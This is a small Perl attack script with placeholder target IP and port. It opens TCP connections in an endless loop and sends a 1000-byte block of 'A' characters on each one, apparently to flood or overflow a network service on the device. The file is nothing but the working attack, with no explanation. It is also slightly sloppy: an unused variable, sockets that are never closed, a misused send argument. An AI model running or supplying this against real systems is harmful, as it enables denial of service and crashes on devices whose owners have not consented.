#!d:/perl/bin/perl  -w
use strict;
use Socket;

my $line = "A" x 1000;

my ($iaddr, $sin, $proto);
my $max = 2000;
my $port = <suspect port here>;
while (1)  {
$proto   = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto);
$iaddr = gethostbyname('IP address of device');
$sin = sockaddr_in($port, $iaddr);
connect(SOCK, $sin);
send(SOCK,$line,0,$iaddr);
}